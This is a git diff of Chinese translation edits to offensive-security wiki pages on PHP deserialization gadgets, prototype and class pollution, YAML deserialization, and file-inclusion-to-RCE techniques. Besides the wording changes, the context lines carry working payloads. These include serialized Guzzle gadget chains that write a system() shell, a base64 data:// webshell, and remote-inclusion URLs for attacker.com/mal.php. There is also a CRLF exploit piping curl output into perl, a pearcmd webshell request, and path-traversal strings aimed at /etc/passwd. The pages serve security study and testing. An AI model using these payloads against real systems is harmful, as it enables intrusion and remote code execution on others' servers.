至少从 v18.4.0 开始,这种保护已被 **实施**,因此 `spawn` 和 `spawnSync` 的 **exploits** 不再影响这些方法(如果不使用 `options`!)。
|
||||
至少从 v18.4.0 开始,这种保护已被 **实施**,因此 `spawn` 和 `spawnSync` **exploits** 影响的方法 **不再有效**(如果不使用 `options`!)。
|
||||
|
||||
在 [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) 中,vm 库的 **`contextExtensions`** 的 **prototype pollution** 也通过将选项设置为 **`kEmptyObject`** 而 **部分修复**,而不是 **`{}`**。
|
||||
在 [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) 中,vm 库的 **`contextExtensions`** 的 **prototype pollution** 也 **在某种程度上被修复**,将选项设置为 **`kEmptyObject`** 而不是 **`{}`**。
|
||||
|
||||
### **Other Gadgets**
|
||||
|
||||
|
||||
@ -6,13 +6,13 @@
|
||||
|
||||
## PHP 反序列化 + spl_autoload_register + LFI/Gadget
|
||||
|
||||
我们处于一种情况,发现了一个 **webapp 中的 PHP 反序列化**,并且 **没有** 在 **`phpggc`** 中的库易受攻击的 gadget。然而,在同一个容器中有一个 **不同的 composer webapp,里面有易受攻击的库**。因此,目标是 **加载另一个 webapp 的 composer 加载器** 并利用它 **加载一个 gadget 来利用该库中的 gadget**,该库易受反序列化攻击。
|
||||
我们处于一种情况,发现了一个 **webapp 中的 PHP 反序列化**,并且 **没有** 库在 **`phpggc`** 中存在漏洞的 gadget。然而,在同一个容器中有一个 **不同的 composer webapp 具有漏洞库**。因此,目标是 **加载另一个 webapp 的 composer 加载器** 并利用它 **加载一个 gadget 来利用该库中的 gadget**,该库在反序列化中存在漏洞。
|
||||
|
||||
步骤:
|
||||
|
||||
- 您发现了一个 **反序列化**,并且 **当前应用代码中没有任何 gadget**
|
||||
- 您可以利用 **`spl_autoload_register`** 函数,如下所示,以 **加载任何本地文件,扩展名为 `.php`**
|
||||
- 为此,您使用一个反序列化,其中类的名称将位于 **`$name`** 中。您 **不能在序列化对象的类名中使用 "/" 或 "."**,但是 **代码** 正在 **将** **下划线** ("\_") **替换为斜杠** ("/")。因此,像 `tmp_passwd` 这样的类名将被转换为 `/tmp/passwd.php`,代码将尝试加载它。\
|
||||
- 为此,您使用一个反序列化,其中类的名称将位于 **`$name`** 中。您 **不能在序列化对象的类名中使用 "/" 或 "."**,但是 **代码** 正在 **将下划线** ("\_") **替换为斜杠** ("/")。因此,像 `tmp_passwd` 这样的类名将被转换为 `/tmp/passwd.php`,代码将尝试加载它。\
|
||||
一个 **gadget 示例** 将是: **`O:10:"tmp_passwd":0:{}`**
|
||||
```php
|
||||
spl_autoload_register(function ($name) {
|
||||
@ -38,17 +38,17 @@ require __DIR__ . $filename;
|
||||
> [!TIP]
|
||||
> 如果你有一个 **文件上传** 并且可以上传一个 **`.php` 扩展名** 的文件,你可以 **直接利用这个功能** 并获得 RCE。
|
||||
|
||||
在我的情况下,我没有这样的东西,但在 **同一个容器** 内有另一个 composer 网页,里面有一个 **易受攻击的 `phpggc` 小工具**。
|
||||
在我的情况下,我没有这样的东西,但在 **同一个容器** 内有另一个 composer 网页,里面有一个 **易受 `phpggc` 小工具攻击的库**。
|
||||
|
||||
- 要加载这个其他库,首先你需要 **加载那个其他 web 应用的 composer 加载器**(因为当前应用的加载器无法访问另一个的库)。**知道应用的路径**,你可以很容易地实现这一点:**`O:28:"www_frontend_vendor_autoload":0:{}`**(在我的情况下,composer 加载器在 `/www/frontend/vendor/autoload.php`)
|
||||
- 现在,你可以 **加载** 其他 **应用的 composer 加载器**,所以是时候 **`生成 phpgcc`** **有效载荷** 来使用。在我的情况下,我使用了 **`Guzzle/FW1`**,这让我可以 **在文件系统内写入任何文件**。
|
||||
- 注意:**生成的小工具没有工作**,为了让它工作,我 **修改** 了那个有效载荷 **`chain.php`** 的 phpggc,并将 **所有属性** 的类 **从私有改为公共**。如果不这样做,反序列化字符串后,创建的对象的属性将没有任何值。
|
||||
- 现在我们有了 **加载其他应用的 composer 加载器** 的方法,并且有一个 **有效的 phpggc 有效载荷**,但我们需要 **在同一个请求中执行此操作,以便在使用小工具时加载加载器**。为此,我发送了一个序列化数组,包含两个对象,如下所示:
|
||||
- 注意:**生成的小工具没有工作**,为了使其工作,我 **修改** 了那个有效载荷 **`chain.php`** 的 phpggc,并将 **所有属性** 的类 **从私有改为公共**。如果不这样做,反序列化字符串后,创建的对象的属性将没有任何值。
|
||||
- 现在我们有了 **加载其他应用的 composer 加载器** 的方法,并且有一个 **有效的 phpgcc 有效载荷**,但我们需要 **在同一个请求中执行此操作,以便在使用小工具时加载加载器**。为此,我发送了一个序列化数组,包含两个对象,如下所示:
|
||||
- 你可以看到 **首先加载加载器,然后是有效载荷**。
|
||||
```php
|
||||
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
||||
```
|
||||
- 现在,我们可以**创建和写入文件**,但是用户**无法在web服务器的任何文件夹中写入**。因此,如您在有效负载中所见,PHP调用**`system`**并创建了一些**base64**在**`/tmp/a.php`**中。然后,我们可以**重用我们用于LFI的第一种有效负载**来加载另一个web应用程序的composer加载器**以加载生成的`/tmp/a.php`**文件。只需将其添加到反序列化小工具中: 
|
||||
- 现在,我们可以**创建和写入文件**,但是用户**无法在网络服务器的任何文件夹中写入**。因此,如您在有效负载中所见,PHP 调用**`system`**,并在**`/tmp/a.php`**中创建了一些**base64**。然后,我们可以**重用我们用于 LFI 的第一种有效负载**,以加载另一个 webapp 的 composer 加载器**以加载生成的 `/tmp/a.php`** 文件。只需将其添加到反序列化小工具中: 
|
||||
```php
|
||||
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
||||
```
|
||||
|
||||
@ -77,7 +77,7 @@ state: !!python/tuple
|
||||
state:
|
||||
update: !!python/name:exec
|
||||
```
|
||||
或者你也可以使用这个**@ishaack 提供的一行代码**:
|
||||
或者你也可以使用这个 **@ishaack 提供的单行代码**:
|
||||
```yaml
|
||||
!!python/object/new:str {
|
||||
state:
|
||||
|
||||
@ -152,7 +152,7 @@ JSONMergerApp.run(json_input)
|
||||
|
||||
### ActiveSupport 的 `deep_merge`
|
||||
|
||||
这默认情况下并不脆弱,但可以通过类似的方式使其脆弱: 
|
||||
这默认情况下并不脆弱,但可以通过类似的方式使其脆弱: 
|
||||
```ruby
|
||||
# Method to merge additional data into the object using ActiveSupport deep_merge
|
||||
def merge_with(other_object)
|
||||
@ -398,7 +398,7 @@ curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"ur
|
||||
```bash
|
||||
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
|
||||
```
|
||||
可以通过暴力破解定义的类,并在某些时候污染类 **`KeySigner`**,通过 `injected-signing-key` 修改 `signing_key` 的值。
|
||||
可以通过暴力破解定义的类,并在某个时刻污染类 **`KeySigner`**,通过 `injected-signing-key` 修改 `signing_key` 的值。
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -23,7 +23,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
|
||||
尝试将 `/` 改为 `\`\
|
||||
尝试将 `/` 更改为 `\`\
|
||||
尝试添加 `../../../../../`
|
||||
|
||||
一个使用多种技术查找文件 /etc/password(以检查漏洞是否存在)的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到。
|
||||
@ -34,7 +34,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
|
||||
尝试将 `/` 改为 `\`\
|
||||
尝试将 `/` 更改为 `\`\
|
||||
尝试删除 `C:/` 并添加 `../../../../../`
|
||||
|
||||
一个使用多种技术查找文件 /boot.ini(以检查漏洞是否存在)的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到。
|
||||
@ -45,7 +45,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
|
||||
## 基本 LFI 和绕过
|
||||
|
||||
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/)。
|
||||
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -80,7 +80,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### 在服务器上探索文件系统目录
|
||||
|
||||
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。这个过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目的的详细方法:
|
||||
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目标的详细方法:
|
||||
|
||||
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(适用于基于Linux的服务器)。一个示例URL可能结构如下,表示深度为三:
|
||||
```bash
|
||||
@ -101,15 +101,15 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **路径截断技术**
|
||||
|
||||
路径截断是一种用于操纵Web应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件,这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径,该路径在被安全措施修改后,仍然指向所需的文件。
|
||||
路径截断是一种用于操纵 web 应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件,这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径,该路径在被安全措施修改后,仍然指向所需的文件。
|
||||
|
||||
在PHP中,由于文件系统的性质,文件路径的各种表示可以被视为等效。例如:
|
||||
在 PHP 中,由于文件系统的性质,文件路径的各种表示可以被视为等效。例如:
|
||||
|
||||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd`和`/etc/passwd/`都被视为相同的路径。
|
||||
- 当最后6个字符为`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
|
||||
- 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变被访问的文件。
|
||||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd` 和 `/etc/passwd/` 都被视为相同的路径。
|
||||
- 当最后 6 个字符是 `passwd` 时,附加一个 `/`(使其变为 `passwd/`)不会改变目标文件。
|
||||
- 同样,如果在文件路径后附加 `.php`(如 `shellcode.php`),在末尾添加 `/.` 不会改变正在访问的文件。
|
||||
|
||||
提供的示例演示了如何利用路径截断访问`/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
|
||||
提供的示例演示了如何利用路径截断访问 `/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -139,7 +139,7 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## 远程文件包含
|
||||
|
||||
在 php 中,这默认是禁用的,因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,你可以从你的服务器包含一个 PHP 文件并获得 RCE:
|
||||
在php中,这默认是禁用的,因为 **`allow_url_include`** 是 **关闭的。** 必须将其设置为 **开启** 才能工作,在这种情况下,您可以从您的服务器包含一个PHP文件并获得RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
@ -162,12 +162,12 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
如果用户传递一个 **绝对路径** 给 **`file_name`**,那么 **之前的路径将被移除**:
|
||||
如果用户传递一个 **绝对路径** 给 **`file_name`**,那么 **之前的路径会被移除**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join),这是预期的行为:
|
||||
根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)的说明,这是预期的行为:
|
||||
|
||||
> 如果一个组件是绝对路径,则所有先前的组件都会被丢弃,并从绝对路径组件继续连接。
|
||||
|
||||
@ -222,13 +222,13 @@ PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码列表**,请在控制台中运行:`iconv -l`
|
||||
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码** 列表,请在控制台中运行:`iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对写入任意文本或使函数如 include 处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: 压缩内容(如果提取大量信息时很有用)
|
||||
- `zlib.deflate`: 压缩内容(在提取大量信息时很有用)
|
||||
- `zlib.inflate`: 解压数据
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : 已弃用
|
||||
@ -269,12 +269,12 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### 使用 php 过滤器作为 oracle 读取任意文件
|
||||
|
||||
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔文件外泄(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
|
||||
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔外泄文件(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
|
||||
|
||||
在原始文章中可以找到该技术的详细解释,但这里是一个快速总结:
|
||||
|
||||
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。
|
||||
- 这将用于生成一个 **当初始字母正确猜测时非常大的文本**,以至于 php 会触发一个 **错误**。
|
||||
- 这将用于生成一个 **当初始字母被正确猜测时变得如此庞大的文本**,以至于 php 会触发一个 **错误**。
|
||||
- **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。
|
||||
- 这与前一个(以及根据猜测字母的其他过滤器)结合,将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk 不会删除它,初始炸弹将导致 php 错误。
|
||||
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母(因此在此编码后:a -> b)。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g,该字母不再是十六进制字符,因此 dechunk 不会删除它,php 错误被触发,因为它与初始炸弹相乘。
|
||||
@ -287,7 +287,7 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### php://fd
|
||||
|
||||
此包装器允许访问进程打开的文件描述符。可能对外泄打开文件的内容非常有用:
|
||||
此包装器允许访问进程打开的文件描述符。可能对外泄打开文件的内容有用:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
@ -366,13 +366,13 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
可以滥用 **任何支持 php 过滤器的 PHP 中的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
|
||||
可以滥用 **任何支持 PHP 过滤器的任意文件读取** 来获得 RCE。详细描述可以在 [**此帖子中找到**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
|
||||
非常简要的总结:在 PHP 堆中滥用 **3 字节溢出** 来 **更改特定大小的空闲块链**,以便能够 **在任何地址写入任何内容**,因此添加了一个钩子来调用 **`system`**。\
|
||||
可以通过滥用更多的 php 过滤器来分配特定大小的块。
|
||||
可以通过滥用更多 PHP 过滤器来分配特定大小的块。
|
||||
|
||||
### 更多协议
|
||||
|
||||
查看更多可能的 [**协议以包含在这里**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
查看更多可能的 [**协议以包含在此**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 在内存或临时文件中写入(不确定这在文件包含攻击中如何有用)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 访问本地文件系统
|
||||
@ -385,7 +385,7 @@ phar-deserialization.md
|
||||
|
||||
## 通过 PHP 的 'assert' 进行 LFI
|
||||
|
||||
在处理 'assert' 函数时,PHP 中的本地文件包含(LFI)风险显著较高,因为它可以执行字符串中的代码。如果输入包含像 ".." 这样的目录遍历字符被检查但未正确清理,这尤其成问题。
|
||||
在处理 'assert' 函数时,PHP 中的本地文件包含(LFI)风险显著较高,因为它可以在字符串中执行代码。如果输入包含目录遍历字符如 ".." 被检查但未正确清理,这尤其成问题。
|
||||
|
||||
例如,PHP 代码可能被设计为防止目录遍历,如下所示:
|
||||
```bash
|
||||
@ -404,7 +404,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
## PHP盲路径遍历
|
||||
|
||||
> [!WARNING]
|
||||
> 该技术适用于您**控制**一个**PHP函数**的**文件路径**的情况,该函数将**访问一个文件**但您看不到文件的内容(如简单调用**`file()`**),但内容不会显示。
|
||||
> 该技术适用于您**控制**一个**PHP函数**的**文件路径**的情况,该函数将**访问一个文件**但您不会看到文件的内容(如简单调用**`file()`**),但内容不会显示。
|
||||
|
||||
在[**这篇令人难以置信的文章**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)中解释了如何通过PHP过滤器滥用盲路径遍历以**通过错误oracle提取文件内容**。
|
||||
|
||||
@ -429,7 +429,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
> [!WARNING]
|
||||
> 请注意,**如果您使用双引号**而不是**单引号**来表示shell,双引号将被修改为字符串"_**quote;**_",**PHP将在那里抛出一个错误**,并且**不会执行其他任何内容**。
|
||||
>
|
||||
> 此外,请确保**正确编写有效负载**,否则每次PHP尝试加载日志文件时都会出错,您将没有第二次机会。
|
||||
> 此外,请确保**正确编写有效负载**,否则PHP每次尝试加载日志文件时都会出错,您将没有第二次机会。
|
||||
|
||||
这也可以在其他日志中完成,但**请小心,**日志中的代码可能会被URL编码,这可能会破坏Shell。头部**授权 "basic"**包含Base64中的"user:password",并在日志中解码。PHPShell可以插入到此头部中。\
|
||||
其他可能的日志路径:
|
||||
@ -517,7 +517,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### 通过 php 过滤器(不需要文件)
|
||||
|
||||
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意 php 代码** 进行包含 **而不需要将其写入** 文件。
|
||||
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而不需要将其写入** 文件。
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -563,7 +563,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
以下利用CRLF漏洞获取RCE(来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
以下内容利用CRLF漏洞获取RCE(来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -572,7 +572,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### 通过 phpinfo() (file_uploads = on)
|
||||
|
||||
如果你发现了 **Local File Inclusion** 和一个暴露 **phpinfo()** 的文件,且 file_uploads = on,你可以获得 RCE:
|
||||
如果你发现了 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 的文件,且 file_uploads = on,你可以获得 RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -580,7 +580,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
|
||||
|
||||
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径**,但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件** 来 **绕过该检查**:
|
||||
如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径** 但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**,你可以尝试通过这个 **竞争条件** 来 **绕过该检查**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -596,7 +596,7 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### 到致命错误
|
||||
|
||||
如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。(你需要包含同一个文件 2 次以引发该错误)。
|
||||
如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。 (你需要包含同一个文件 2 次以引发该错误)。
|
||||
|
||||
**我不知道这有什么用,但可能有用。**\
|
||||
&#xNAN;_E即使你导致 PHP 致命错误,上传的 PHP 临时文件也会被删除。_
|
||||
|
||||
@ -12,7 +12,7 @@ file_get_contents("compress.zlib://http://attacker.com/file")
|
||||
```
|
||||
将发送请求,询问 http://attacker.com/file,然后服务器可能会用有效的 HTTP 响应来响应请求,保持连接打开,并在稍后发送额外的数据,这些数据也将写入文件。
|
||||
|
||||
您可以在 php-src 代码的 main/streams/cast.c 的这一部分看到该信息:
|
||||
您可以在 php-src 代码的 main/streams/cast.c 中看到该信息:
|
||||
```c
|
||||
/* Use a tmpfile and copy the old streams contents into it */
|
||||
|
||||
@ -28,11 +28,11 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
|
||||
|
||||
攻击者将使 **受害者服务器打开一个连接,从攻击者的服务器读取文件**,使用 **`compress.zlib`** 协议。
|
||||
|
||||
**在**这个 **连接** 存在的同时,攻击者将 **提取临时文件的路径**(它被服务器泄露)。
|
||||
**在**这个 **连接** 存在的同时,攻击者将 **提取临时文件的路径**(服务器泄露了它)。
|
||||
|
||||
**在**这个 **连接** 仍然打开的情况下,攻击者将 **利用 LFI 加载他控制的临时文件**。
|
||||
|
||||
然而,web 服务器中有一个检查 **防止加载包含 `<?`** 的文件。因此,攻击者将利用 **竞争条件**。在仍然打开的连接中,**攻击者** 将 **在** **webserver** **检查** 文件是否包含禁止字符 **之后** 发送 PHP 负载,但 **在加载其内容之前**。
|
||||
然而,web 服务器中有一个检查 **防止加载包含 `<?`** 的文件。因此,攻击者将利用 **竞争条件**。在仍然打开的连接中,**攻击者** 将 **在** **web 服务器** **检查** 文件是否包含禁止字符 **之后** 发送 PHP 有效负载,但 **在** 它加载内容 **之前**。
|
||||
|
||||
有关更多信息,请查看竞争条件和 CTF 的描述 [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
在本地文件包含中,**如果你设法包含那个上传的文件,你将获得 RCE**。
|
||||
|
||||
请注意,默认情况下,**PHP 仅允许在单个请求中上传 20 个文件**(在 `/etc/php/<version>/apache2/php.ini` 中设置):
|
||||
请注意,默认情况下 **PHP 只允许在单个请求中上传 20 个文件**(在 `/etc/php/<version>/apache2/php.ini` 中设置):
|
||||
```
|
||||
; Maximum number of files that can be uploaded via a single request
|
||||
max_file_uploads = 20
|
||||
@ -17,7 +17,7 @@ max_file_uploads = 20
|
||||
|
||||
### 其他技术
|
||||
|
||||
其他技术依赖于攻击 PHP 协议(如果您只控制路径的最后部分,将无法进行攻击)、披露文件路径、滥用预期文件,或**使 PHP 遭受分段错误,以便上传的临时文件不会被删除**。\
|
||||
其他技术依赖于攻击 PHP 协议(如果您只控制路径的最后部分,则无法进行攻击)、披露文件路径、滥用预期文件,或**使 PHP 遭受分段故障,以便上传的临时文件不会被删除**。\
|
||||
这种技术**与最后一种非常相似,但不需要找到零日漏洞**。
|
||||
|
||||
### 永久等待技术
|
||||
@ -27,8 +27,8 @@ max_file_uploads = 20
|
||||
**这种技术的优点**:
|
||||
|
||||
- 您只需控制包含中的相对路径
|
||||
- 不需要 nginx 或意外的日志文件访问级别
|
||||
- 不需要零日漏洞来导致分段错误
|
||||
- 不需要 nginx 或意外的访问日志文件的级别
|
||||
- 不需要零日漏洞来导致分段故障
|
||||
- 不需要路径披露
|
||||
|
||||
这种技术的**主要问题**是:
|
||||
@ -56,7 +56,7 @@ include("/sys/kernel/security/apparmor/revision");
|
||||
|
||||
让我们做一些数学计算:
|
||||
|
||||
- 我们可以使用 **149 个连接** 生成 **149 \* 20 = 2980 个临时文件**,通过我们的 webshell。
|
||||
- 我们可以使用 **149 个连接** 来生成 **149 \* 20 = 2980 个临时文件**,通过我们的 webshell。
|
||||
- 然后,使用 **最后一个连接** 来 **暴力破解** 潜在文件。
|
||||
- 以 **10 请求/秒** 的速度,时间为:
|
||||
- 56800235584 / 2980 / 10 / 3600 \~= **530 小时**(265 小时有 50% 的机会)
|
||||
@ -69,10 +69,10 @@ include("/sys/kernel/security/apparmor/revision");
|
||||
|
||||
## PHP-FMP
|
||||
|
||||
如果不使用常规的 php mod 来运行 PHP 脚本,而是 **网页使用** **PHP-FMP**(这提高了网页的效率,因此常常可以找到它),还有其他方法可以改善该技术。
|
||||
如果不是使用常规的 php mod 来运行 PHP 脚本,而是 **网页使用** **PHP-FMP**(这提高了网页的效率,因此常常可以找到),还有其他方法可以改进该技术。
|
||||
|
||||
PHP-FMP 允许 **配置** **参数** **`request_terminate_timeout`** 在 **`/etc/php/<php-version>/fpm/pool.d/www.conf`** 中。\
|
||||
该参数指示 **请求 PHP 时必须终止的最大秒数**(默认无限,但 **如果参数未注释则为 30 秒**)。当请求被 PHP 处理时,达到指定的秒数后,它会被 **终止**。这意味着,如果请求正在上传临时文件,因为 **PHP 处理被停止**,那些 **文件不会被删除**。因此,如果您可以使请求持续该时间,您可以 **生成成千上万的临时文件**,这些文件不会被删除,这将 **加快查找它们的过程**,并减少通过消耗所有连接对平台造成 DoS 的可能性。
|
||||
